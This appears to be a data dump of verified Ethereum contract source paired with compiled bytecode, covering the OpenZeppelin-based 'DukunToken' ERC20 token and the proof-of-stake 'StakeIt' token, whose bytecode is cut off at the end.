// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/DukunToken.sol
contract DukunToken is StandardToken, PausableToken, BurnableToken
{
string public constant name = "Dukun Token";
string public constant symbol = "DUKUN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f45780632ff2e9dc1461021e578063313ce567146102335780633f4ba83a1461025e57806342966c68146102755780635c975abb1461028d57806366188463146102a257806370a08231146102c6578063715018a6146102e75780638456cb59146102fc5780638da5cb5b1461031157806395d89b4114610342578063a9059cbb14610357578063d73dd6231461037b578063dd62ed3e1461039f578063f2fde38b146103c6575b600080fd5b34801561011757600080fd5b506101206103e7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a036004351660243561041e565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e2610449565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a036004358116906024351660443561044f565b34801561022a57600080fd5b506101e261047c565b34801561023f57600080fd5b5061024861048c565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b50610273610491565b005b34801561028157600080fd5b50610273600435610509565b34801561029957600080fd5b506101b9610516565b3480156102ae57600080fd5b506101b9600160a060020a0360043516602435610526565b3480156102d257600080fd5b506101e2600160a060020a036004351661054a565b3480156102f357600080fd5b50610273610565565b34801561030857600080fd5b506102736105d3565b34801561031d57600080fd5b50610326610650565b60408051600160a060020a039092168252519081900360200190f35b34801561034e57600080fd5b5061012061065f565b34801561036357600080fd5b506101b9600160a060020a0360043516602435610696565b34801561038757600080fd5b506101b9600160a060020a03600435166024356106ba565b3480156103ab57600080fd5b506101e2600160a060020a03600435811690602435166106de565b3480156103d257600080fd5b50610273600160a060020a0360043516610709565b60408051808201909152600b81527f44756b756e20546f6b656e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561043857600080fd5b6104428383610729565b9392505050565b60015490565b60035460009060a060020a900460ff161561046957600080fd5b61047484848461078f565b949350505050565b6b033b2e3c9fd0803ce800000081565b601281565b600354600160a060020a031633146104a857600080fd5b60035460a060020a900460ff1615156104c057600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6105133382610904565b50565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561054057600080fd5b6104428383610a05565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461057c57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146105ea57600080fd5b60035460a060020a900460ff161561060157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600581527f44554b554e000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156106b057600080fd5b6104428383610af4565b60035460009060a060020a900460ff16156106d457600080fd5b6104428383610bd3565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461072057600080fd5b61051381610c6c565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a0383166000908152602081905260408120548211156107b457600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107e457600080fd5b600160a060020a03831615156107f957600080fd5b600160a060020a038416600090815260208190526040902054610822908363ffffffff610cea16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610857908363ffffffff610cfc16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610899908363ffffffff610cea16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a03821660009081526020819052604090205481111561092957600080fd5b600160a060020a038216600090815260208190526040902054610952908263ffffffff610cea16565b600160a060020a03831660009081526020819052604090205560015461097e908263ffffffff610cea16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610a5957336000908152600260209081526040808320600160a060020a0388168452909152812055610a8e565b610a69818463ffffffff610cea16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b33600090815260208190526040812054821115610b1057600080fd5b600160a060020a0383161515610b2557600080fd5b33600090815260208190526040902054610b45908363ffffffff610cea16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b77908363ffffffff610cfc16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c07908363ffffffff610cfc16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610c8157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cf657fe5b50900390565b81810182811015610d0957fe5b929150505600a165627a7a723058205524f52e4c4dd7e5674709b7d16513488208df4b12f488458d481501099d5f160029 | {"success": true, "error": null, "results": {}} | 10,621 |
0x26fccc1f97dec0fe1e6845e3deafb98d5242b0e0 | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title StakeItStandard
* @dev the interface of StakeItStandard
*/
contract StakeItStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() public returns (bool);
function coinAge() public constant returns (uint256);
function annualInterest() public constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract StakeIt is ERC20, StakeItStandard, Ownable {
using SafeMath for uint256;
string public name = "StakeIt";
string public symbol = "STAKE";
uint public decimals = 8;
uint public chainStartTime; // chain start time
uint public chainStartBlockNumber; // chain start block number
uint public stakeStartTime; // stake start time
uint public stakeMinAge = 1 days; // minimum age for coin age: 1 Day
uint public stakeMaxAge = 90 days; // stake age of full weight: 90 Days
uint public MintProofOfStake = 100 * 10 ** uint256(decimals); // default 100% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
constructor() public {
maxTotalSupply = 100000000 * 10 ** uint256(decimals); // 100,000,000
totalInitialSupply = 5000000 * 10 ** uint256(decimals); // 5,000,000
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
uint _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function changeRate(uint _rate) public onlyOwner {
MintProofOfStake = _rate * 10 ** uint256(decimals);
}
function mint() canPoSMint public returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
emit Mint(msg.sender, reward);
return true;
}
function getBlockNumber() public view returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() public constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender, now);
}
function annualInterest() public constant returns(uint interest) {
interest = MintProofOfStake;
}
function getProofOfStakeReward(address _address) internal view returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = MintProofOfStake;
return (_coinAge * interest).div(365 * (10**uint256(decimals)));
}
function getCoinAge(address _address, uint _now) internal view returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) public onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) public onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
emit Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) public onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
emit Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780631249c58b1461023057806318160ddd146102455780631e1b13c01461026c57806323b872dd146102815780632a9edf6f146102ab5780632ab4d052146102c55780632dc62c4d146102da578063313ce567146102ef57806342cbb15c146103045780635b054f9b1461031957806370a082311461032e578063715018a61461034f5780637419f1901461036457806374e7493b1461037957806388d695b2146103915780638da5cb5b1461041f57806390762a8b1461045057806395d89b41146104685780639fd4da401461047d578063a9059cbb14610492578063b2552fc4146104b6578063cbd8877e146104cb578063cd474b04146104e0578063dd62ed3e146104f5578063e1c3bac61461051c578063f2fde38b14610531575b600080fd5b34801561017a57600080fd5b50610183610552565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bd5781810151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020457600080fd5b5061021c600160a060020a03600435166024356105e0565b604080519115158252519081900360200190f35b34801561023c57600080fd5b5061021c610682565b34801561025157600080fd5b5061025a610826565b60408051918252519081900360200190f35b34801561027857600080fd5b5061025a61082c565b34801561028d57600080fd5b5061021c600160a060020a036004358116906024351660443561083d565b3480156102b757600080fd5b506102c3600435610aa1565b005b3480156102d157600080fd5b5061025a610add565b3480156102e657600080fd5b5061025a610ae3565b3480156102fb57600080fd5b5061025a610ae9565b34801561031057600080fd5b5061025a610aef565b34801561032557600080fd5b5061025a610b06565b34801561033a57600080fd5b5061025a600160a060020a0360043516610b0c565b34801561035b57600080fd5b506102c3610b27565b34801561037057600080fd5b5061025a610b95565b34801561038557600080fd5b506102c3600435610b9b565b34801561039d57600080fd5b506040805160206004803580820135838102808601850190965280855261021c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610bbe9650505050505050565b34801561042b57600080fd5b50610434610f8d565b60408051600160a060020a039092168252519081900360200190f35b34801561045c57600080fd5b506102c3600435610f9c565b34801561047457600080fd5b50610183611121565b34801561048957600080fd5b5061025a61117c565b34801561049e57600080fd5b5061021c600160a060020a0360043516602435611182565b3480156104c257600080fd5b5061025a611465565b3480156104d757600080fd5b5061025a61146b565b3480156104ec57600080fd5b5061025a611471565b34801561050157600080fd5b5061025a600160a060020a0360043581169060243516611477565b34801561052857600080fd5b5061025a6114a2565b34801561053d57600080fd5b506102c3600160a060020a03600435166114a8565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b505050505081565b60008115806106105750336000908152601260209081526040808320600160a060020a0387168452909152902054155b151561061b57600080fd5b336000818152601260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600080600f54600e5410151561069757600080fd5b33600090815260116020526040812054116106b55760009150610822565b33600090815260136020526040812054116106d35760009150610822565b6106dc3361153d565b9050600081116106ef5760009150610822565b600e54610702908263ffffffff6115b016565b600e5533600090815260116020526040902054610725908263ffffffff6115b016565b336000908152601160209081526040808320939093556013905290812061074b91611762565b3360008181526013602090815260408083208151808301835260118452828520546001608060020a03908116825267ffffffffffffffff42811683870190815284546001810186559488529686902092519290930180549651909316608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff19909616959095171693909317909255815184815291517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859281900390910190a2600191505b5090565b600e5481565b600061083833426115c3565b905090565b600080806060606436101561085157600080fd5b600160a060020a038616151561086657600080fd5b600160a060020a038716600081815260126020908152604080832033845282528083205493835260119091529020549093506108a8908663ffffffff61173b16565b600160a060020a0380891660009081526011602052604080822093909355908816815220546108dd908663ffffffff6115b016565b600160a060020a038716600090815260116020526040902055610906838663ffffffff61173b16565b600160a060020a0380891660008181526012602090815260408083203384528252918290209490945580518981529051928a169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a03871660009081526013602052604081205411156109a757600160a060020a03871660009081526013602052604081206109a791611762565b505050600160a060020a0393841660009081526013602081815260408084208151808301835260118452828620546001608060020a03908116825267ffffffffffffffff428116838701818152855460018181018855968b52888b2095519501805491518416608060020a90810277ffffffffffffffff00000000000000000000000000000000199787166fffffffffffffffffffffffffffffffff19948516178816179091559c909d1689529686528488208551808701909652998216855284860196875289548085018b5599885294909620925192909701805494519093169097029316919096161790921691909117909255919050565b600454600160a060020a03163314610ab857600080fd5b6000600a5411158015610acd57506008548110155b1515610ad857600080fd5b600a55565b600f5481565b600d5481565b60075481565b60006108386009544361173b90919063ffffffff16565b60085481565b600160a060020a031660009081526011602052604090205490565b600454600160a060020a03163314610b3e57600080fd5b600454604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26004805473ffffffffffffffffffffffffffffffffffffffff19169055565b600a5481565b600454600160a060020a03163314610bb257600080fd5b600754600a0a02600d55565b6004546000908190819081908190600160a060020a03163314610be057600080fd5b60008751118015610bf2575085518751145b1515610bfd57600080fd5b60009350600092505b8551831015610c4457610c378684815181101515610c2057fe5b60209081029091010151859063ffffffff6115b016565b9350600190920191610c06565b33600090815260116020526040902054841115610c6057600080fd5b5042905060005b8651811015610e7057610ccc8682815181101515610c8157fe5b90602001906020020151601160008a85815181101515610c9d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6115b01